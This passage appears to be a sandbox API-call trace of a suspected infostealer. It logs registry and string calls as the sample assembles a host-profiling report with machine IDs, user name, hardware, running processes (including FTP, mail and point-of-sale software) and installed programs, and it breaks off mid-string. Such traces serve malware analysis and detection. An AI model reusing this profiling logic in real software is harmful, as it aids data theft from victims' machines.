[388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\n"
[0054.944] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816b8 | out: phkResult=0x1816b8*=0x508) returned 0x0
[0054.945] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x0, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.945] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned 63
[0054.945] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.945] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.945] RegCloseKey (hKey=0x514) returned 0x0
[0054.945] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x1, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.945] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager") returned 70
[0054.945] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.945] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.945] RegCloseKey (hKey=0x514) returned 0x0
[0054.945] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x2, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.945] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx") returned 64
[0054.945] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.946] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.946] RegCloseKey (hKey=0x514) returned 0x0
[0054.946] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x3, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DXM_Runtime", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.946] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime") returned 63
[0054.946] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.946] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.946] RegCloseKey (hKey=0x514) returned 0x0
[0054.946] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x4, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.946] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore") returned 60
[0054.946] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.946] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.946] RegCloseKey (hKey=0x514) returned 0x0
[0054.946] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x5, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.946] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40") returned 56
[0054.946] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.946] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.946] RegCloseKey (hKey=0x514) returned 0x0
[0054.946] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x6, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.946] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data") returned 59
[0054.946] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.947] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.947] RegCloseKey (hKey=0x514) returned 0x0
[0054.947] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x7, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.947] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX") returned 60
[0054.947] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.947] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.947] RegCloseKey (hKey=0x514) returned 0x0
[0054.947] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x8, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.947] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData") returned 58
[0054.947] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.947] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.947] RegCloseKey (hKey=0x514) returned 0x0
[0054.947] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x9, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.947] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack") returned 68
[0054.947] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.947] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.947] RegCloseKey (hKey=0x514) returned 0x0
[0054.947] RegEnumKeyExA (in: hKey=0x508, dwIndex=0xa, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MPlayer2", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.947] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2") returned 60
[0054.947] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.948] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x0, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.948] RegCloseKey (hKey=0x514) returned 0x0
[0054.948] RegEnumKeyExA (in: hKey=0x508, dwIndex=0xb, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Office16.PROPLUS", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.948] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office16.PROPLUS") returned 68
[0054.948] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office16.PROPLUS", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.948] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Office Professional Plus 2016", lpcbData=0x1816c0*=0x28) returned 0x0
[0054.948] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\n", lpString2="Microsoft Office Professional Plus 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- 